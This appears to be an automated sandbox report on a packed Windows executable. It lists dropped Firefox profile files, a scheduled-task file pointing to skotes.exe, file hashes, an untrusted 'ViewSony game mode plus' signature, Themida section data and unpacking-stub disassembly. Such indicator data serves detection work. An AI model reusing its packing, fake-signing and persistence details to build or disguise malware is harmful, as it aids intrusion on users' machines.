Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07338695179673393
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkiy2o:DLhesh7Owd4+jiR
MD5:	37370223C19A8A0A43BE04D4116284FE
SHA1:	3961085AB5BB7C5AB55D18F8A76FF74DF4F604FE
SHA-256:	7ECF9883B7521F6FBBA1BBF8F56C8FD110D343CC499F240468776559077127D7
SHA-512:	541C8E1BE594DBE0A3643CD6ED97F86A2EE953786DCF3D785DF81372A166395D9CD7543A0D465CB167B158457B5CE5FF40257A8A73EE86D19F09E57C95FC8BDD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035333735952226504
Encrypted:	false
SSDEEP:	3:GtlstFaUxIreYhpi3lstFaUxIreYhpvT89//alEl:GtWtYUar76WtYUar7z89XuM
MD5:	44A903A1DB07295D23477B2400677D9D
SHA1:	A4A66C2DBF7E3E26EDFC9A63488EC57DD7E0CC3B
SHA-256:	A112DD037504B305A677ADEC8FD234D1555B912D6E2580A5F9C3C3FF83297521
SHA-512:	C0C2337E50D135A6B57681F8D101D62155D80DE1417770C1142455754348C39AFC361336EE73DD0B1F2890941CD29810DA65CEE9C89B11F6E58D23CBE1435C97
Malicious:	false
Preview:	..-......................CM.9e...5.SHi.`e+i...L..-......................CM.9e...5.SHi.`e+i...L........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03975239513986009
Encrypted:	false
SSDEEP:	3:Ol178Aei0/olNNo2+Pl6Qwl8rEXsxdwhml8XW3R2:KmiU4fo2+9Wl8dMhm93w
MD5:	93C50D812BB236F71EC9CFBBBD6AC6B1
SHA1:	D42968E8A3C51C6CA45EBD307FFF70EF64E989C3
SHA-256:	2893B65A1BF6695BCA64FF133335B23E26FBB652C3ADAC5E81DA61EE9F684DF8
SHA-512:	D3E2C9DDEFBC560F8BF2AF74F339752D5F8EB7F8D461664E01C6F867BFBB5C715E1E7F25A1CEAF9FC539E8A1F9A2465935452C84619A31852162EE70E0F995F9
Malicious:	false
Preview:	7....-...........5.SHi.`(.8.B.y..........5.SHi.`.MC...e9................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.489041168502981
Encrypted:	false
SSDEEP:	192:6naRtLYbBp6Chj4qyaaX86KlNDc5RfGNBw8djSl:/ekquOQcwu0
MD5:	E6A8FEFC6339652C7DE58E95A2E048A0
SHA1:	3AADD2ECC8B9B6E21E9B7BA95512C9897F818336
SHA-256:	4253A50E95FEE609B218CA780A3D29B10FF18B73CA643B9E5312517D63372B3F
SHA-512:	6C364091549A6136AD92340802E8DFB00E41711729409BF1997CB73FD12FD167E8541DC2FEA2540A098987D51D98A1EB5ACD79D920F2B5933DAF7721EBDFDB12
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730409040);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.489041168502981
Encrypted:	false
SSDEEP:	192:6naRtLYbBp6Chj4qyaaX86KlNDc5RfGNBw8djSl:/ekquOQcwu0
MD5:	E6A8FEFC6339652C7DE58E95A2E048A0
SHA1:	3AADD2ECC8B9B6E21E9B7BA95512C9897F818336
SHA-256:	4253A50E95FEE609B218CA780A3D29B10FF18B73CA643B9E5312517D63372B3F
SHA-512:	6C364091549A6136AD92340802E8DFB00E41711729409BF1997CB73FD12FD167E8541DC2FEA2540A098987D51D98A1EB5ACD79D920F2B5933DAF7721EBDFDB12
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730409040);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	6:ltBl/l4/WN1h4BEJYqWvLue3FMOrMZ0l:DBl/WuntfJiFxMZO
MD5:	18F65713B07CB441E6A98655B726D098
SHA1:	2CEFA32BC26B25BE81C411B60C9925CB0F1F8F88
SHA-256:	B6C268E48546B113551A5AF9CA86BB6A462A512DE6C9289315E125CEB0FD8621
SHA-512:	A6871076C7D7ED53B630F9F144ED04303AD54A2E60B94ECA2AA96964D1AB375EEFDCA86CE0D3EB0E9DBB81470C6BD159877125A080C95EB17E54A52427F805FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 7, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0834050879442
Encrypted:	false
SSDEEP:	24:JRrwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:/rnEUo9LXtR+JdkOnohYsl
MD5:	0F96947ADE42926AE1A7CC79408757A6
SHA1:	82D11B65A64904B9326335FDD26D5D2BBF06A465
SHA-256:	8AD33211E9214835DD396D248C82E4C56DDCC604C04D2EF573E281CA36A56F68
SHA-512:	A124AA8333EAE976B1B275A5487B791A588EC88EED58E117E27D1DE78487E65AA961EF5B4391BC0E4F0C242F6648CA4D09E5A22AFFAB1AA0BA85575F29D5E69A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.032999141411518
Encrypted:	false
SSDEEP:	48:YrSAYnk6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcbyk:yckyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	8C86D82160A4B9DA94C44D02D11A212B
SHA1:	24B185DFE79517E6723C4FD162FA36FA996A69F3
SHA-256:	C43823447CC8DC8FE6936AA77F378F7CAD377CA20BCEAB2E0A7A5E4FE2E2928A
SHA-512:	071D88F8ADCDCB1864347F220945F155490FA7FE6706B34906B107188F40A31F72311414FD32F41888526C6D63D3A4151BABC117B62315DFE628E0387AEF05C6
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-31T21:10:42.941Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.032999141411518
Encrypted:	false
SSDEEP:	48:YrSAYnk6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcbyk:yckyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	8C86D82160A4B9DA94C44D02D11A212B
SHA1:	24B185DFE79517E6723C4FD162FA36FA996A69F3
SHA-256:	C43823447CC8DC8FE6936AA77F378F7CAD377CA20BCEAB2E0A7A5E4FE2E2928A
SHA-512:	071D88F8ADCDCB1864347F220945F155490FA7FE6706B34906B107188F40A31F72311414FD32F41888526C6D63D3A4151BABC117B62315DFE628E0387AEF05C6
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-31T21:10:42.941Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\ykDoK8BtxW.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.394216527429814
Encrypted:	false
SSDEEP:	6:dDZPtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lH/6t0:PZf2RKQ1CGAFAjzvYRQVHSt0
MD5:	B450B6D756656EE90C1A3AFE1FCB0DE5
SHA1:	D4D864627C9F7115965014645038A1E529FC78FF
SHA-256:	89B64FFEA63ACFA3D975796015F9139F98C48F6187AF0DBFC6992C08C4F7FFAC
SHA-512:	C2A04F3F3C58454ECB8FFEC5430F58291AFAD437845BA8D0DC25014B5242DB34CB91495CE7CF32E80282333C12F0C4E5987A793ECAC873D8EB687AEB30C8FD33
Malicious:	false
Preview:	.......d..F....c.\|.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................4.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.871183436645129
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ykDoK8BtxW.exe
File size:	3'458'576 bytes
MD5:	7cfe878555b8cc04fc52385219b423d7
SHA1:	cff23beb3f3223610a37a9b52d3b9495438c5c1f
SHA256:	51c35cc8bfc37189048a0454992f30143289dcace11c5fc108db47e91f467bd0
SHA512:	31ad38c09589a8ba91d0c2b4b3f12cda02909fd4cdd06a84b415c2018983c0dfd8b675c39089a0313e1a0c6c95ef023d9d4f66fcd05d2b4aeb313d75efe86386
SSDEEP:	49152:pd0WyZt1UbFSOHUM04jhsaDfZt6TJ5nD3hdkMgE+jCtWszgEBCs9IYFDl:aZt8FjUF4jhBZtmhjjf8gRPJ
TLSH:	FCF52301B345DD65E83A127628B2CAFA0526EE13DC64862B32FB7F1F7871B560618D1F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	1731f0ccec713107

Static PE Info

General

Entrypoint:	0x9b07e8
Entrypoint Section:	.boot
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	9dfe5757453ac4b6ed82bf0cf7ab0266

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=ViewSony game mode plus
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	23/10/2024 14:53:44 24/10/2034 14:53:44
Subject Chain	CN=ViewSony game mode plus
Version:	3
Thumbprint MD5:	CE1EC030FFFAD1F5B442F01FED162D67
Thumbprint SHA-1:	90B2C6C31302B109A641EC87E1C41C05F31A47F5
Thumbprint SHA-256:	A33ECC7E5F9161F5381A4DFC3428D7F19C4DBB659ED582264C943D8990290B87
Serial:	511BABC2E5A2628A42F11AC01C517482

Entrypoint Preview

Instruction
call 00007F55047AA920h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F55047AA7BCh
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F55047AA823h
xor eax, eax
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F55047AA8B7h
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007F55047AA7DAh
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007F55047AA76Bh
mov eax, 00000001h
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F55047AA7BCh
sub eax, ebx
mov ebx, 00000001h
jne 00007F55047AA7FAh
mov ecx, 00000001h
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007F55047AA7D7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F55047AA7BCh
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9a09f	0xc0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x2bfd6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x34a810	0x1e00	.themida
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x89c000	0x10	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x9b018	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x4e83a	0x27000	f147f67b78a1ee6e007a2439b0538f64	False	0.9993552183493589	data	7.979814306040247	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x50000	0x11050	0x6a00	93ff27832bc717d0b4f58438b7ef7f62	False	0.9872494103773585	data	7.89990299706424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x62000	0x66ac	0xa00	57febf80aabbd8a2e4a12ffeb1ca2916	False	0.846875	data	7.147278399853637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x2bfd6	0x2c000	8ba7f434d849ea41115e0396db0ebae0	False	0.09052623401988637	data	3.659920029519674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x95000	0x4c84	0x3c00	39fe1a5f143c3acbc7e43541c4e3d3f9	False	0.9990885416666667	data	7.950229767440546	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x9a000	0x1000	0x200	1c17ff24d041b9ef0a0c965f92ac3f58	False	0.384765625	data	2.863715215086496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x9b000	0x1000	0x200	ded7069d156bd1663e50b506bb8aaf04	False	0.056640625	data	0.18120187678200297	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.themida	0x9c000	0x514000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x5b0000	0x2ec000	0x2ec000	a7abe74f8c60897b8ea3f707b22cadb7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x89c000	0x1000	0x10	1be33d0c42de76730355f6275884a50b	False	1.5	GLS_BINARY_LSB_FIRST	2.474601752714581	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
MUI	0x6a920	0x130	data	English	United States	0.569078947368421
RT_ICON	0x6aa50	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.23524590163934425
RT_ICON	0x6b3d8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.28837209302325584
RT_ICON	0x6ba90	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.3448581560283688
RT_ICON	0x6bef8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3135245901639344
RT_ICON	0x6c880	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.3784883720930233
RT_ICON	0x6cf38	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.42021276595744683
RT_ICON	0x6d3a0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.2967213114754098
RT_ICON	0x6dd28	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.35872093023255813
RT_ICON	0x6e3e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.38652482269503546
RT_ICON	0x6e848	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3237704918032787
RT_ICON	0x6f1d0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.3930232558139535
RT_ICON	0x6f888	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.43617021276595747
RT_ICON	0x6fcf0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.2819672131147541
